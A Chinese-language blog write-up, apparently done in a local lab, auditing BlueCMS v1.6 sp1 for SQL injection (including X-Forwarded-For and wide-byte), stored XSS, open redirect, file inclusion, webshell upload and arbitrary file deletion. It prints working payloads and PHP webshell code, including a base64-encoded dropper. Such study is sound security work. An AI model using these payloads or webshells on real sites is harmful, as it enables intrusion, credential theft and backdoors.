[php程式碼審計]bluecms v1.6 sp1

一、環境搭建

  • bluecms v1.6 sp1源碼
  • windows 7
  • phpstudy2016(php 5.4.45)
  • seay源程式碼審計系統

源碼在網上很容易下載,很多教程說訪問地址 //localhost/bluecms_v1.6_sp1/uploads/install/ 就會進入到安裝介面。這裡我遇到了一點小問題,訪問地址後顯示空白,無法進行安裝,解決方式是 phpstudy 打開允許目錄列表,並且在 bluecms_v1.6_sp1\uploads\install\compile 目錄下刪掉圖中 php 文件,再訪問一次安裝地址就可以了,然後按照提示進行資料庫配置即可成功搭建。

  

 

二、漏洞列表

2.1SQL注入

用Seay源程式碼審計系統掃一下,可以發現有很多可能的漏洞,有一些誤報,具體審計一下程式碼吧,先看一下 ad_js.php 文件

 

定位到該條語句

 

getone() 是自定義的查詢資料庫的函數,跟進一下,可以看到插入到資料庫查詢語句中的 $ad_id 除了 trim 去掉兩邊空格沒有任何的過濾,因而導致了數字型SQL注入,雖然 ad_js.php 還包含了 common.inc.php 文件,common.inc.php 進行了 addslashes($_GET) 轉義,但是由於SQL語句中的變數沒有使用單引號保護,addslashes 也同時失去了作用

function getone($sql, $type=MYSQL_ASSOC){
    $query = $this->query($sql,$this->linkid);
    $row = mysql_fetch_array($query, $type);
    return $row;
}

 

利用一下這個漏洞,因為方法很常規就只注入到列出表名

//192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 order by 7
//192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,7//頁面空白,查看源碼發現列印第7列
//192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,database()
//192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()

 

2.2XFF頭注入、偽造ip

接著查看 Seay 掃到的可疑注入點,看一下 /uploads/include/common.fun.php 程式碼

 

$ip 的值從 HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR 等變數中獲得,HTTP_CLIENT_IP 這個環境變數沒有成標準,很多伺服器沒法獲取。而第二個 HTTP_X_FORWARDED_FOR 可以通過 HTTP 請求頭來修改

/**
  * 獲取用戶IP
*/
function getip(){
    if (getenv('HTTP_CLIENT_IP')){
        $ip = getenv('HTTP_CLIENT_IP'); 
    }elseif (getenv('HTTP_X_FORWARDED_FOR')) { 
        //獲取客戶端用代理伺服器訪問時的真實ip 地址
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }elseif (getenv('HTTP_X_FORWARDED')) { 
        $ip = getenv('HTTP_X_FORWARDED');
    }elseif (getenv('HTTP_FORWARDED_FOR')){
        $ip = getenv('HTTP_FORWARDED_FOR'); 
    }elseif (getenv('HTTP_FORWARDED')){
        $ip = getenv('HTTP_FORWARDED');
    }else{ 
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}                

 

全局搜索一下這個函數,除了函數定義以外一共有兩處

 

查看 comment.php 程式碼,getip() 獲取到的 $ip,直接插入到了SQL語句中,沒有過濾就執行了,這裡是存在SQL注入的。

 

利用一下這個漏洞,從 comment.php 程式碼可以推斷出,SQL注入出現在對文章進行評論的地方。在模擬發布文章時出現一點問題,發布文章時一定選擇新聞分類,但是管理員和普通用戶都不能創建分類,只好先把限制分類不能為空的程式碼注釋掉。

 

首頁->會員中心->本地新聞->發布新聞(這裡發現寫中文內容的話會顯示為空,所以測試內容都需要寫英文),先評論測試一下,看一下數據表記錄的欄位默認值

 

顯然回顯的位置在 content 欄位,所以可以構造 X-Forwarded-For 值注入,先補充前一次查詢的 ip 和 is_check 欄位完成第一次插入,再構造第二次插入,同時要注意閉合原本語句中的單引號。評論時進行抓包改包,可以看到成功注入並且在評論列表有回顯,查到資料庫是 bluecms,直接查一下管理員用戶名及密碼哈希值也可以成功獲取。

X-Forwarded-For: 1','1' ),("",'2','2','1','6',(database()),'1','1
X-Forwarded-For: 1','1' ),("",'2','2','1','6',(select concat(admin_name,":",pwd) from blue_admin),'1','1

 

這樣插入完成後的完整 sql 語句是,顯然這裡的 ip 欄位也可以控制,可以在注入的同時達到偽造 ip 的效果

$sql = INSERT INTO ".table('blue_comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
  VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','2','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";

 

2.3XFF頭注入2

再從全局搜索看 getip() 函數出現的另一處 common.inc.php,getip() 賦值給變數 $online_ip,再全局搜索這個變數,發現在留言板介面變數也是沒有經過過濾,直接插入查詢語句,存在SQL注入

 

利用一下漏洞,測試時發現無論是否留言都會彈出留言內容不能為空,修改前端程式碼注釋掉這個函數,路徑是 bluecms_v1.6_sp1\uploads\templates\default\guest_book.htm

 

因為顯然回顯位置在 content 欄位,所以構造一次插入語句就可以了,可以看到成功注出資料庫

X-Forwarded-For: 1',database())-- -

 

 

2.4寬位元組注入

在 common.inc.php 中注意到資料庫編碼使用的是 gb2312,這有可能導致寬位元組注入

 

找到管理員登錄的 bluecms_v1.6_sp1\uploads\admin\login.php,發現驗證用戶帳號密碼的函數為 check_admin

 

在 bluecms_v1.6_sp1\uploads\admin\include\common.fun.php 文件中找到了 check_admin 函數定義,SQL語句變數使用單引號保護,但是 getone() 函數在2.1小節已經分析過了,沒有任何的過濾

function check_admin($name, $pwd)
{
    global $db;
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
     if($row['num'] > 0)
     {
         return true;
     }
     else
     {
         return false;
     }
}

 

並且 login.php 還包含了 bluecms_v1.6_sp1\uploads\admin\include\common.inc.php,這裡是將 $_POST 數據進行 addslashes 轉義的,剛好可以利用 %df 讓轉義的反斜線失去作用

if(!get_magic_quotes_gpc())
{
    $_POST = deep_addslashes($_POST);
    $_GET = deep_addslashes($_GET);
    $_COOKIES = deep_addslashes($_COOKIES);
    $_REQUEST = deep_addslashes($_REQUEST);
}

 

利用一下漏洞,成功以管理員身份登錄(注意直接在瀏覽器輸入 %df 會被 urlencode,所以應該抓包發送)

 

2.5存儲型XSS

在 user.php 文件,用戶發布新聞功能,發現 content 沒有使用 htmlspecialchars() 函數,而是 filter_data(),跟蹤看一下,在 /uploads/include/common.fun.php 找到函數定義程式碼,只過濾了 script,iframe,frame,meta,link 等,這裡可以用 a,img 等標籤繞過

function filter_data($str)
{
    $str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
    return $str;
}

 

利用一下漏洞,因為前端程式碼還會過濾一些敏感字元,所以所以不直接提交攻擊程式碼,抓包修改 payload,可以看到漏洞利用成功

<img src="" onerror="alert(123456)">

 

 

2.6任意URL跳轉

在 user.php 中,很明顯 $act == ‘do_login’ 是登錄功能,看到有一個 $from 變數,再結合登錄成功後顯示回到該變數指向參數,可以猜測這個 $from 保存來源 url,方便用戶登陸後回到原來瀏覽的頁面

 

全局搜索 $from 並沒有被其他函數過濾,直接利用一下(注意 $from 應該和源程式碼一樣 base64 加密),將 //www.baidu.com 編碼為 aHR0cDovL3d3dy5iYWlkdS5jb20= 改包放包後可以看到頁面成功跳轉到百度

 

2.7文件包含

user.php 的支付功能,可以通過 $_POST[‘pay’] 控制文件包含的路徑,但是後面拼接了 /index.php

 

有兩種方式可以截斷

繞過方法1:%00 截斷

條件:magic_quotes_gpc = Off,PHP版本<5.3.4

繞過方法2:路徑長度截斷

條件:windows 下目錄路徑最大長度為256位元組,超出部分將丟棄;linux 下目錄最大長度為4096位元組,超出長度將丟棄;PHP版本<5.2.8

 

由於本地搭建版本是5.4.45,降到 5.2.17 測試一下這個漏洞,這裡包含的時候遇到個小問題,注意它的路徑是 include ‘include/payment/’.$_POST[‘pay’].”/index.php”; 是找這個的相對路徑不是 user.php 的

 

個人資料中可以上傳個人頭像,上傳一個內容為 <?php @eval($_POST[‘apple’]);?> 的 hack.jpg,再查看下路徑

 

文件包含圖片馬成功

 

還看到其他方法,在圖片中插入重新寫入一個馬 apple.php 的程式碼,這樣生成新馬後蟻劍管理起來會比圖片馬方便很多

<?php @fputs(fopen(base64_decode('YXBwbGUucGhw'),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydhcHBsZSddKTs/Pg=='));?>

 

包含一下,看到目錄下成功生成木馬 apple.php

 

2.8任意文件刪除

user.php 的編輯個人資料功能,直接調用 unlink 函數刪除 $_POST[‘face_pic3’],沒有進行相應的檢查,存在任意文件刪除漏洞

 

利用一下漏洞,抓包修改 act=edit_user_info ,post 添加 face_pic3,成功刪除2.7小節寫入的木馬 apple.php

 

 

三、總結

第一次嘗試做cms審計,同種利用方式的漏洞只寫了一處,還有一些漏洞沒有一一列舉出來。bluecms 算是一次入門級的復現加一些自己的思考吧,希望這篇隨筆可以在理清自己思路的同時幫助到像我一樣的初學者。

這次 cms 審計學習到審計工具存在一些誤報,不能過度依賴。跟蹤用戶輸入、查看變數的傳遞過程,發現一些問題時回溯變數,或者直接挖掘功能點的漏洞,對個別文章進行通讀,全局搜索易發生漏洞的函數,按照經驗直接測試一些常見的漏洞都是很有效的方法。

還有,讀著前輩的程式碼想起自己上學期的資料庫課設,前後端寫在一起,邏輯沒有這麼清晰,也沒注意安全方面。這份程式碼雖然陌生,但是邏輯和功能都很明確,很快就可以明白開發者的思路,下次再有機會做PHP開發要好好借鑒經驗啦.

 

 

參考:

//chybeta.github.io/2017/03/14/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BSQL%E6%B3%A8%E5%85%A5%EF%BC%9ABlueCMSv1-6-sp1/

//blog.szfszf.top/tech/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-bluecms-v1-6/

//www.cnblogs.com/BOHB-yunying/p/12643510.html